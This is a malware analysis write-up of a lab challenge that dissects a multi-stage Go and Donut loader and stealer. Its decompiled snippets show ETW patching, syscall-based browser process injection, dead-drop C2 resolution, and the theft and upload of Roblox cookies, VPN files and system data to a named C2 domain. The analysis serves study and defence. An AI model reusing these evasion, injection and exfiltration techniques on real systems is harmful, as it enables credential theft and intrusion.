Maskgram-Malops

- 13 mins read

Initial Analysis

As I get the file i check its file type , It turns out to be a PE32 which is standard windows executable

init1

Then I check for any sort of packing using DIE , which didn’t show any signs of a packed binary. It also revealed that it was written in Go.

detect it easy

STAGE 1

Go2Bypass

ida1 Right from the start we could see that this binary used the Go2Bypass framework. The main function calls the main_allocate_heap_memoryfirst and then moves on to the Public_ExecuteShellcodeViaSyscall to begin the shellcode loading process.

ida2

In the Public_ExecuteShellcodeViaSyscall I could see that it loaded a hash and then called a hash_callback to resolve it which turned out to be SHA1 using which it called Gabh_GetSyscallIDFromMemory which would resolve the syscall. This hash corresponds to NtDelayExecution.

// Go2bypass/Public.Peels
void __golang __noreturn Public_ExecuteShellcodeViaSyscall(__int64 unused_rax,__int64 unused_rbx,__int64 unused_rcx,char *p_n76,__int64 (__golang *p_n76_1)(__int64),int unused_r8,int unused_r9,int unused_r10,int unused_r11)
{  __int64 saved_frame_ptr; // rbp
  __int64 *unused_ecx; // rcx
  int unused_r8d; // r8d
  int unused_r9d; // r9d
  int unused_r10d; // r10d
  int unused_r11d; // r11d
  RTYPE *p_RTYPE__ptr_runtime_PanicNilError; // [rsp-38h] [rbp-98h]
  __int64 *v16; // [rsp-30h] [rbp-90h]
  __int64 saved_frame_ptr_1; // [rsp+58h] [rbp-8h]

  saved_frame_ptr_1 = saved_frame_ptr;
  Gabh_GetSyscallIDFromMemory("84804f99e2c7ab8aee611d256a085cf4879c4be8",
    0x28,
    &hash_callback,
    p_n76,
    p_n76_1,
    unused_r8,
    unused_r9,
    unused_r10,
    unused_r11);
  runtime_gopanic(MEMORY[0x30], unused_ecx, unused_ecx, p_n76, p_n76_1, unused_r8d, unused_r9d, unused_r10d, unused_r11d, p_RTYPE__ptr_runtime_PanicNilError, v16);
}

AES Decryption

While going through Go2Bypass functions we can see Public_DecryptShellcodeFromBase64 which is a decryptor for some code. By tracing it i could find that in the main function it was loading a key and using it to decrypt the ENCRYPTED part. at 0x14011B71F and 0x1401263C0 respectively.

ida3 So by going through the Public_DecryptShellcodeFromBase64 it does the following.

  1. Base64 Decode

    • Using encoding/base64.StdEncoding.DecodeString()
    • Input: Base64-encoded ciphertext
  2. AES-CFB Decrypt

    • Calls Endecrypt_AESDecryptCFB
    • Mode: CFB (Cipher Feedback)
    • IV: First 16 bytes of ciphertext

Execution Flow

After the code gets decrypted the malware executes it using Hell’s Gate syscall.

The control flow of the STAGES as described in the following diagram.

control flow

Call Flow

Public_ExecuteShellcodeViaSyscall (0x1400d20c0)
    │
    ├── Gabh_GetSyscallIDFromMemory (0x1400cf7a0)
    │       │
    │       ├── Gabh_FindLoadedModule (0x1400cf600)
    │       │       └── Gabh_WalkPEBModuleList (0x1400d0760)
    │       │
    │       └── Gabh_ParseExportTable (0x1400cf360)
    │
    ├── Gabh_InvokeSyscall (0x1400d04e0)
    │       └── Gabh_DirectSyscall (0x1400d05e0)
    │
    └── EggReplace_FindAndWriteShellcode (0x1400d0820)

STAGE 2

Donut Loader

Now We know that the real payload is inside whatever AES decrypted i extract the file as stage2.bin.

I again run this new file under DIE which shows it as a donut shellcode. shellcode This clears our suspicion as The first 5 bytes of a default Donut shellcode payload consist of a relative jump instruction i.e. E8 ....

 ~/rev/Malops/challenges/MaskGram> xxd stage2.bin| head                                                                         
00000000: e8c0 f101 00c0 f101 0044 2014 9555 f9b5  .........D ..U..
00000010: 2f57 da1b 9a69 5645 51fc d712 0011 89c5  /W...iVEQ.......
00000020: 8441 e696 d488 9ae3 5600 0000 0048 2067  .A......V....H g
00000030: 363f 99df e718 1b57 7f1e b567 3fec 9102  6?.....W...g?...

So i use a GitHub tool donut-decryptor you can install it using GitHub or just pip install donut-decryptor and then extracted 2 files.

 ~/rev/Malops/challenges/MaskGram> donut-decryptor stage2.bin   
2026-08-05 12:50:28,524 - donut_decryptor.decryptor - INFO - Parsing donut from file: stage2.bin 
2026-08-05 12:50:28,524 - donut_decryptor.decryptor - INFO - Using 1.0_64, and instance version: 1.0
2026-08-05 12:50:28,524 - donut_decryptor.decryptor - INFO - Locating instance in file: stage2.bin
2026-08-05 12:50:28,527 - donut_decryptor.decryptor - INFO - Found instance at: 0x5
2026-08-05 12:50:28,852 - donut_decryptor.decryptor - INFO - Writing module to: /home/blackdemon112/rev/Malops/challenges/MaskGram/mod_stage2.bin
2026-08-05 12:50:28,854 - donut_decryptor.decryptor - INFO - Writing instance metadata to: /home/blackdemon112/rev/Malops/challenges/MaskGram/inst_stage2.bin
2026-08-05 12:50:28,854 - donut_decryptor.cli - INFO - Parsed: 1 of 1 attempted files

During this extraction it uses

0x00000000 – 0x00000003 (e8c0 f101): Shellcode Bootstrap Jump.
0x00000004 – 0x00000007 (00c0 f101): Instance Size. Interpreted in Little-Endian format, this equals 0x01F1C000 bytes.
0x00000008 – 0x00000017 (0044 2014 9555 f9b5 2f57 da1b 9a69 5645): Master Key (mk). The 16-byte symmetric key used for the Chaskey block cipher decryption loop.
0x00000018 – 0x00000027 (51fc d712 0011 89c5 8441 e696 d488 9ae3): Counter / Nonce (ctr). The 16-byte block initialization vector.
{
    "File": "stage2.bin",
    "Master Key": "4420149555f9b52f57da1b9a69564551",
    "Nonce": "fcd712001189c58441e696d4889ae356",
    "Hash IV": "0xe7df993f36672048",
    "Signature": "4FTTWNC4",
    "MAC": "0x90fd0934cf584563",
    "Instance Type": "DONUT_INSTANCE_EMBED",
    "Entropy Type": "DONUT_ENTROPY_DEFAULT",
    "Decoy Module": "",
    "Module Type": "DONUT_MODULE_DLL",
    "Compression Type": "DONUT_COMPRESS_NONE"
}

The file Shows that it is a DONUT_EMBED and we continue by opening the mod_stage2.bin in ida to see the decrypted functions.

STAGE 3

ETW

So Finally we are in the stage3 file which is free from high level obfuscation.

The very first thing start() does, before any C2 communication or data theft, is silence Windows telemetry. The malware needs ETW blind so it does not log what follows. first At the top of start(), we see:

if ( !byte_4255E0 )
    xor_decrypt_string(&unk_41BDE8, &byte_4255E0, 9);
qword_4255F0 = find_loaded_module_base_by_name();  // 0x418742

The function find_loaded_module_base_by_name() walks the PEB (Process Environment Block)LdrInLoadOrderModuleList to find the base address of ntdll.dll already loaded in memory. No LoadLibrary call needed.

Then find_export_by_name_hash Resolve EtwEventWrite using hash 0x24A8D022 and the function sub_40275A patch EtwEventWrite with a RET instruction (0xC3)

v0 = find_export_by_name_hash(qword_4255F0, 615043106);

sub_40275A(-1, v0, 1, 64, CommandLine);  // NtProtectVirtualMemory → PAGE_EXECUTE_READWRITE
*v0 = 0xC3;                              // Write RET opcode
sub_40275A(-1, v0, 1, old_protect, ...); // Restore original protection

And immediately after v1 Resolves EtwEventWriteFull using hash 0xEF2073B5

v1 = find_export_by_name_hash(qword_4255F0, 4011881397);
// Same patch — overwrite first byte with 0xC3 (RET)
*v1 = 0xC3;

The function find_export_by_name_hash() walks the PE export directory of ntdll, computes a hash for each export name, and returns the address when it matches the precomputed constant. The two constants:

Precomputed HashResolved API
0x24A8D022EtwEventWrite
0xEF2073B5EtwEventWriteFull

String Decrypt

Almost every string in this binary is stored encrypted in the .rdata section. The decryption function xor_decrypt_string() is called 642 times throughout the binary, making it the most frequently invoked function by far.

Here’s the decompiled decryption engine:

char xor_decrypt_string(__int64 encrypted_data, __int64 output_buffer, int length)
{
    int i = 0;
    // The XOR key is stored as a local variable on the stack:
    int   key_part1 = 376164025;   // 0x166BCE B9  → bytes: B9 CE 6B 16
    short key_part2 = 18455;       // 0x4817     → bytes: 17 48
    char  key_part3 = 95;          // 0x5F       → byte:  5F

    do {
        output_buffer[i] = encrypted_data[i] ^ key_bytes[i % 7];
        i++;
    } while (length > i);
    output_buffer[length] = 0;  // null terminate
}

LCG/PRNG

After ETW patching and PRNG initialization, the malware needs random-looking URL paths for C2 communication. “Random” here means deterministic: a Linear Congruential Generator (LCG) seeded with a hardcoded value.

The prng_init() function works like this:

prng alt text

The initial seed n1262572634 appears in the decompilation which is a renamed variable that takes the value from 0x41A010.The value 0x2EECC9FE is the PRNG state after generating path1, which is the seed value that begins generating the second path component that happens after 11 iterations.

The LCG formula is the classic glibc-style: seed = (seed * 1103515245 + 12345) & 0x7FFFFFFF

The generated paths are stored at unk_425220 as 24 pre-computed path segments. The function prng_generate_path(index) simply selects one by index and converts it to a wide string:

char *prng_generate_path(unsigned int index) {
    sub_404351(index);           // Get pre-generated path at slot 'index'
    generate_timestamped_subkey(result, SubKey_0);  // Append timestamp
    return SubKey_0;
}

For example the URL structure ends up being: https://c2-host/path1/path2 where each path component is deterministically generated from the PRNG.

Next the malware needs to find its C2 server without hardcoding a domain that could be blocked. It does this using dead drops on legitimate platforms, a technique called Dead Drop Resolver (DDR).

Retrieving C2 IP

The main orchestrator is c2_extraction_main() at 0x403688. Here’s what happens:

Step 1: Decrypt the Platform URLs

At the top of the function, 8 encrypted blobs are decrypted:

xor_decrypt_string(&unk_41BA40, v124, 35);        // RC4 decryption key
xor_decrypt_string(&unk_41BA18, MultiByteStr, 13); // URL 1 (host)
xor_decrypt_string(&unk_41BA08, lpMultiByteStr, 13); // URL 1 (path)
xor_decrypt_string(&unk_41B9F0, lpMultiByteStr_1, 18); // URL 2 (host)
xor_decrypt_string(&unk_41B9D0, lpMultiByteStr_2, 28); // URL 2 (path)
xor_decrypt_string(&unk_41B9C0, lpMultiByteStr_3, 16); // URL 3 (host) ← chess.com
xor_decrypt_string(&unk_41B9A0, lpMultiByteStr_4, 32); // URL 3 (path)
xor_decrypt_string(&unk_41B984, lpMultiByteStr_5, 4);  // URL 4 (protocol)
xor_decrypt_string(&unk_41B970, lpMultiByteStr_6, 20); // URL 4 (host)

These decrypt to URLs on multiple legitimate platforms:

  1. Steam https://steamcommunity.com/
  2. Spotify playlist → open.spotify.com/playlist/5iEHEaD1j6Xqou5h2SrnfW
  3. Chess.com https://chess.com/

Step 2: The User-Agent

Every HTTP request uses the same User-Agent, resolved by get_user_agent() at 0x401620

get_user_agent Decrypting with key B9 CE 6B 16 17 48 5F yields: gvfs/1.57.2

This is the GVFS (GNOME Virtual File System) user agent, which blends in with Linux desktop traffic and raises no flags in most network monitoring tools.

Step 3: Download & Decrypt the C2 Domain

The function tries each platform URL in sequence via download_url_to_memory() at 0x415DE3. When it downloads the chess.com page, it:

  1. Searches for a specific HTML marker (decoded from unk_41B908, likely a <div> or <meta> tag)
  2. Extracts a Base64-encoded, RC4-encrypted blob from the page
  3. Feeds it to base64_decrypt_rc4() at 0x416053:
base64_decrypt_rc4(extracted_data, v124_key, output_buffer);

Where v124 is the 35-byte key decrypted earlier from unk_41BA40. The base64_decrypt_rc4() at 0x416053 function:

  1. Base64-decodes the input
  2. Initializes an RC4 key schedule using rc4_init_key_schedule() at 0x404B1A

The result is pushokfrech-871.icu: the actual C2 domain, retrieved from a chess.com profile.

C2 Response Check

Once the C2 domain is extracted, check_c2_response_marker() at 0x415C01 validates it by making a test request: check

The PRNG path at index 0x19 (25 decimal) generates /6v0tazc5mboxujs, the first URL the malware requests on the freshly-derived C2 server. check2 The function reads the HTTP response and searches for a marker string (decrypted from unk_41CE4D, length 2, likely "OK"). If found, the C2 is confirmed alive and ready.

System Data Collection

Back in start(), after successful C2 validation:

if ( sub_4011E8() )
    collect_system_info();   // 0x40C002

The massive collect_system_info() at 0x40C002 function (1,691 bytes!) harvests:

  • Computer name, username
  • Screen resolution (GetSystemMetrics)
  • CPU info (GetSystemInfo)
  • Timezone (GetTimeZoneInformation)
  • Language (GetUserDefaultLangID)
  • Running processes (CreateToolhelp32SnapshotProcess32First/Next)
  • Installed services (OpenSCManagerOpenService)
  • System uptime (GetTickCount64)

All this is formatted into a text blob and uploaded via upload_system_info() at 0x419767, which:

  1. Generates a PRNG path at index 22/q7cherolivolejk
  2. Sets the filename to systems.txt (decrypted from an encrypted blob)
  3. POSTs the data as a multipart form upload

The path q7cherolivolejk is reused as the standard upload endpoint across multiple exfiltration routines.

Roblox

The function roblox_cookie_stealer() at 0x40575F is called unconditionally from start():

roblox_cookie_stealer();  // 0x40B55F

Here’s the logic:

// Get %LOCALAPPDATA% environment variable
lpName = sub_4019B8();  // Returns decrypted "LOCALAPPDATA"
GetEnvironmentVariableA(lpName, Buffer, 0x104);

// Decrypt and append the Roblox path
xor_decrypt_string(&unk_41B300, &byte_4256E0, 38);
// Decrypts to: \Roblox\LocalStorage\robloxcookies.dat
string_concat(FileName, &byte_4256E0);

So the full path becomes:

%LOCALAPPDATA%\Roblox\LocalStorage\robloxcookies.dat

The relative path is \Roblox\LocalStorage\robloxcookies.dat.

The function then:

  1. Opens the file with CreateFileA
  2. Reads its contents with ReadFile
  3. Searches for a cookie token marker (decrypted from unk_41B328)
  4. Extracts the cookie value
  5. Base64-decodes it
  6. Decompresses the result
  7. Uploads it to C2 via PRNG path at index 24

VPN

The vpn_stealer() at 0x4136D9 function is a server-directed theft module. Here’s how it works:

Step 1: Request Instructions from C2

xor_decrypt_string(&unk_41C220, &byte_4271C0, 15);// Decrypts to the "request VPN instructions"

content_type_header = get_content_type_header();
qword_425200(v45, content_type_header, -1, &byte_4271C0, v5, v5, 0);

Step 2: Parse C2 Response

The response is parsed line-by-line, looking for directive prefixes:

// Each encrypted prefix is decrypted and compared against response lines:
xor_decrypt_string(&unk_41C210, byte_4271A0, 13);   // "OPENVPN_FILES:" (13 chars)
xor_decrypt_string(&unk_41C200, byte_427190, 13);   // "OPENVPN_SCAN:"  (13 chars)
xor_decrypt_string(&unk_41C1F0, &byte_427180, 15);  
xor_decrypt_string(&unk_41C1E0, &byte_427168, 14);  

The two key directives are:

  • OPENVPN_FILES: — tells the malware which specific files to steal
  • OPENVPN_SCAN: — tells the malware which directories to scan

When the C2 server returns a response containing these directives, the malware:

  1. Parses the file paths and scan directories from the response
  2. Calls vpn_upload_wrapper() at 0x40BCC0 to walk directories and upload matching files
  3. Uses file_scan_upload() at 0x409086 for the actual upload

Step 3: Upload VPN Files

The upload uses:

  • URL path: PRNG index 0x0D (13) → q7cherolivolejk (same upload endpoint)
  • User-Agent: The VPN upload uses Client/1.0 instead of the standard gvfs/1.57.2

The different User-Agent for VPN exfiltration may let the C2 server distinguish traffic types on its end.

Additional Payload

Back in start():

if ( next_stage_downloader() )   // 0x405C34
    process_injection();          // 0x416480

The next_stage_downloader() at 0x405C34 function downloads yet another executable. Here’s the sequence:

// Generate URL path from PRNG 
path = prng_generate_path(0x1C);  // "/63gp6nslaf0dif0"
v9 = get_cached_wide_string_1();  // "GET"

// Downloads the payload
HeapFree(v4, v9, path, ...);

The response contains 3 fields separated by markers (decrypted from unk_41B1F2, unk_41B1ED, unk_41B1E8 — 6, 5, and 5 bytes respectively):

  • Field 1: The RC4 IV/nonce
  • Field 2: The encrypted payload (Base64-encoded)
  • Field 3: The payload size
xor_decrypt_string(&unk_41B1D0, v41, 24);
// Decrypts to: "sZjZYwbbdqXztNZuQXwxspS2" (24 chars)

// RC4 key = master_key + IV from response
sub_40BEC6(v42, v41, 24);   
sub_40BEC6(v43, v40, 16);   

rc4_init_key_schedule(v45, v42, 40);   
rc4_crypt(v32, v29, v31);              // Decrypt the payload

//header Check
if (*v29 == 'M' && v29[1] == 'Z')   
{
    qword_424E68 = v29;  
    qword_424E60 = v31;   
}

The master key sZjZYwbbdqXztNZuQXwxspS2 is hardcoded (encrypted) in the binary. Combined with a 16-byte IV received from the server, it forms a 40-byte RC4 key. After decryption, the malware checks for the MZ magic bytes (0x4D5A) to confirm it received a valid PE file.

BROWSERS

If the download succeeds, process_injection() at 0x416480 runs. It is the most complex function in the binary.

Step 1: Initialize Target Browser List

xor_decrypt_string(&unk_41B80D, &byte_425100, 6);      // "chrome" → "chrome.exe"
xor_decrypt_string(&unk_41D480, &byte_428E20, 26);      // Full path to chrome.exe
xor_decrypt_string(&unk_41D49A, &byte_428E40, 5);       // "msedge" → "msedge.exe"  
xor_decrypt_string(&unk_41D4A0, &byte_428E60, 40);      // Full path to msedge.exe
xor_decrypt_string(&unk_41B825, &byte_425110, 4);       // "brave" → "brave.exe"
xor_decrypt_string(&unk_41D4D0, &byte_428EA0, 27);      // Full path to brave.exe
xor_decrypt_string(&unk_41B8F3, &byte_425120, 6);       // "browser" → "browser.exe"
xor_decrypt_string(&unk_41D4F0, &byte_428EC0, 27);      // Full path to browser.exe

The 4 targets in alphabetical order:

  1. brave.exe — Brave Browser
  2. browser.exe — Generic browser process
  3. chrome.exe — Google Chrome
  4. msedge.exe — Microsoft Edge

Step 2: Find or Launch the Browser

For each browser, the malware:

  1. Tries to launch it via CreateProcessA with the CREATE_NO_WINDOW flag (0x8000000)
  2. If launch fails, finds a running instance via CreateToolhelp32Snapshot + Process32First/Next

Step 3: Hollow Process Injection

// open the process with FULL access
hThread = sub_416401(0x1FFFFF, th32ProcessID);  

// Ensure syscall stubs are ready
if (dword_4255D0 || initialize_syscall_stubs()) {
    // Allocate memory via NtAllocateVirtualMemory
    qword_4255C8(hThread, &base_addr, 0, &size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    // Write to remote process via NtWriteVirtualMemory 
    (qword_4255C8 + 32)(hThread, base_addr, local_pe, size, &bytes_written);
    
    // Fix section permissions via NtProtectVirtualMemory
    sub_40275A(hThread, section_base, section_size, new_protect, &old_protect);
    
    // Create remote thread at PE entry point
    hThread_1 = sub_4026CC(hThread, entry_point, base_addr);
}

The malware searches the injected PE’s exports for a function named DllRun then it uses that as the remote thread entry point instead of the PE’s default entry.

Step 4: The Syscalls

The initialize_syscall_stubs() at 0x402075 function resolves 16 NT syscalls. The two asked about:

v17 = resolve_syscall_number_by_hash(1342423128);  // 0x5003C058 → NtOpenProcess

// The hash constants in the function:
resolve_syscall_number_by_hash(-1779193966);  // 0x96035A12
resolve_syscall_number_by_hash(1342423128);   // 0x5003C058  
resolve_syscall_number_by_hash(136929992);    // 0x082962C8

Looking at the syscall resolution table:

Precomputed HashResolved Syscall
0x082962C8NtProtectVirtualMemory
0x5003C058NtOpenProcess

These are critical for the injection NtOpenProcess to get a handle to the target browser process, and NtProtectVirtualMemory to set executable permissions on the injected code.

Finale

After all stealing, injecting, and exfiltrating is done, start() calls:

if ( sub_4043A1() )       // HTTP APIs is ready
    exit_routine();        // 0x40D69D — The final goodbye

The exit_routine() at 0x40D69D sends a final status POST to the C2:

char *exit_routine()
{
    if (!byte_4270A0)
        xor_decrypt_string(&unk_41CE50, &byte_4270A0, 10);
    // Decrypts to "svit=nepco"
    
    int n19 = 1;  
    
    while (1) {
        // Build HTTP request
        user_agent = get_user_agent();
        path = prng_generate_path(0x10);  // "/ufcx6bc1ef45e7g"
        content_type_header = get_content_type_header();
        
        // Send "svit=nepco" as POST body
        qword_425200(v12, content_type_header, -1, &byte_4270A0, v1, v1, 0);
        qword_4251F8(v12, 0);
        xor_decrypt_string(&unk_41CE4D, &byte_427090, 2); // "OK"
        v9 = string_find(v17, &byte_427090);  // Look for "OK" in response
        
        // checks for maximum 20 attempts
        if ((v9 & 1) != 0 || n19 > 19)  
            break;
        
        ++n19;
        Sleep(2000);  // 2 second delay 
    }
}

This is the malware’s completion signal to the C2, indicating that data collection is done. The C2 acknowledges with “OK”.